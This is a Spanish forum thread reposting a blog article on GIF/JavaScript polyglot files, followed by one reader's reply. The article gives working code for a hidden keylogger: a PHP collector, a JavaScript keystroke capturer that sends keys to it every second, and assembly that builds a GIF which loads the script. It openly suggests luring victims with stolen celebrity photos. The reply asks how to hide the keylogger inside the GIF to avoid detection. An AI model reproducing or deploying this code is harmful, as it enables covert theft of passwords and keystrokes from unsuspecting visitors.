PDA

Ver la versión completa : Tú mira este GIF tan gracioso... y yo mientras te robo tus contraseñas



LUK
12-11-2014, 18:14
Ange Albertini (https://code.google.com/p/corkami/) es sin duda un auténtico mago a la hora de crear binarios "políglotas", que son ficheros que tienen simultáneamente varios formatos. Por ejemplo PDF/ZIP/JPG/Audio, PE/PDF/HTML/ZIP, TrueCrypt/PDF/ZIP, etc. Es decir, cada uno de estos ficheros pueden ser abiertos por varias aplicaciones sin error.

Una de las cosas que más nos interesan, dado el mundo de maldad y desenfreno en el que vivimos los hackers"piratas informáticos" (http://www.hackplayers.com/2014/10/hackers-ya-estamos-en-el-diccionario-de-la-RAE.html), es la técnica para abusar de la cabecera de los ficheros GIFs y añadir código Javascript. El resultado un fichero GIF que sea un fichero GIF y JS al mismo tiempo.

Imaginad... basta con publicar anónimamente una copia de una de las últimas imágenes robadas de alguna famosa (http://www.hackplayers.com/2014/09/el-coleccionista-de-fotos-robadas.html) y recibiremos miles y miles de visitas de incautas (pero satisfechas) víctimas, cuyos navegadores ejecutan de forma silenciosa código javascript...

Ajin Abraham (http://ha.ckers.org/blog/20070623/hiding-js-in-valid-images/) planteaba un escenario similar y muy interesante con Xenotic. (https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework) Nosotros haremos también una simple PoC cargando un sencillo keylogger con php. Ni que decir tiene que la demo es básica y no incluye cifrado, técnicas de evasión, ni filtros JS... eso y las fotos guarras las pone cada uno... XD

Primero vamos a apañar nuestro keylogger que publicaremos con cualquier servidor web con soporte php (en nuestro caso XAMPP (https://www.apachefriends.org/es/index.html)). Para ello añadiremos al DocumentRoot estos tres archivos y echaremos a correr:

keylogger.php

<?php
if(!empty($_GET['c'])) {
$logfile = fopen('data.txt', 'a+');
fwrite($logfile, $_GET['c']);
fclose($logfile);
}
?>
keylogger.js

var keys = '';
document.onkeypress = function(e) {
var get = window.event ? event : e;
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function(){
new Image().src = 'http://localhost/keylogger.php?c=' + keys;
keys = '';
}, 1000);

index.html

<img src="img.gif" />
<script src="img.gif"></script>
Como podéis comprobar en el index.html se llama al mismo fichero gif como si fuera un script JS. ¿Cómo conseguimos que esto luego funcione? Pues el "truco" está en añadir “=1″ para que el motor JS no considere los caracteres de la cabecera como una variable no definida. Y luego, para escapar caracteres especiales, usamos las marcas de comentario “/*” y “*/”. De esta manera podremos llamar al javascript keylogger.js. Veamos el ejemplo construyendo nuestro gif malicioso desde ensamblador:


WIDTH equ 10799 ; equivalente a 2f2a, que es '/*' en ASCII, para empezar a abrir un comentario
HEIGTH equ 100 ; sólo para que sea más fácil de detectar
db 'GIF89a'
dw WIDTH, HEIGTH
db 0 ; GCT
db -1 ; color de fondo
db 0 ; relación de aspecto por defecto
db 02ch ; descriptor de imagen
dw 0, 0 ; NW corner
dw WIDTH, HEIGTH ; ancho y alto de la imagen
db 0 ; color de la tabla
db 2 ; tamaño lzw
db 0
db 3bh ; terminador del gif
db '*/' ; cierre del comentario
db '=1;' ; para falso uso de esa cadena GIF89a
;db ' alert(1) '
db 's = document.createElement("script");'
db 's.src = "http://localhost/keylogger.js";'
db 'document.body.appendChild(s);'


El resultado al compilarlo con YASM (http://yasm.tortall.net/) y visto en hexadecimal será el siguiente:

yasm gifjs.asm -o img.gif



http://4.bp.blogspot.com/-Ci7pWX_eyUY/VFj5pxoQa_I/AAAAAAAAcx8/W-jexlt1j0M/s1600/imggif_hex.png (http://4.bp.blogspot.com/-Ci7pWX_eyUY/VFj5pxoQa_I/AAAAAAAAcx8/W-jexlt1j0M/s1600/imggif_hex.png)
Para comprobar que funciona abrimos la URL local con Chrome, vemos la imagen, pulsamos F12 y comprobamos que nuestro keylogger está en funcionamiento:


http://4.bp.blogspot.com/-HrSAB4Fc0WY/VFj56x5mBHI/AAAAAAAAcyE/fNOMsHyjoN0/s1600/gifJS_keylogger.png (http://4.bp.blogspot.com/-HrSAB4Fc0WY/VFj56x5mBHI/AAAAAAAAcyE/fNOMsHyjoN0/s1600/gifJS_keylogger.png)




http://1.bp.blogspot.com/-4jE_JgW3_fY/VFj6IDVtR_I/AAAAAAAAcyM/oTu3h24m4jo/s1600/gifJS_keylogger2.png (http://1.bp.blogspot.com/-4jE_JgW3_fY/VFj6IDVtR_I/AAAAAAAAcyM/oTu3h24m4jo/s1600/gifJS_keylogger2.png)




http://4.bp.blogspot.com/-YBAq5ck3F5A/VFj6J_u-j1I/AAAAAAAAcyU/16cttOPk8HI/s1600/gifJS_keylogger3.png (http://4.bp.blogspot.com/-YBAq5ck3F5A/VFj6J_u-j1I/AAAAAAAAcyU/16cttOPk8HI/s1600/gifJS_keylogger3.png)

Ahora mira la siguiente imagen y... mientras la miras... piensa... y analiza si tú también has podido ser jodido comprometido... ;)


http://3.bp.blogspot.com/-8QM87OL_a_w/VFj6hN6MtBI/AAAAAAAAcyc/EdXAVJep0EU/s1600/memesss.gif


Fuente:
http://www.hackplayers.com/2014/11/el-GIF-que-tambien-queria-ser-JS.html

0x0000
23-03-2015, 21:51
Funciona a la perfeccion! :D

pero tengo un problemilla.. al intentar añadir el js del keylogger directamente en 1 linea en el gif, para que no se vea en el codigo fuente de la web, me devuelve Uncaught SyntaxError: Unexpected identifier

tambien he intentado añadirlo en 3 lineas, asi

db 'var keys = "";'
db 'document.onkeypress = function(e) { var get = window.event ? event : e; var key = get.keyCode ? get.keyCode : get.charCode; key = String.fromCharCode(key); keys += key; }'
db 'window.setInterval(function(){ new Image().src = "xxxxxxxxxx/keylogger.php?c=" + keys; keys = ""; }, 1000);'

pero el resultado ha sido el mismo..

tambien he kitado los 'var' pero igual

tienes idea de porque puede pasar? ya me habia pasado alguna vez que al intentar ejecutar un js de varias ordenes en una sola linea me petava y si lo escribia en varias lineas funcionava bien :S :S :S


Saludos!;)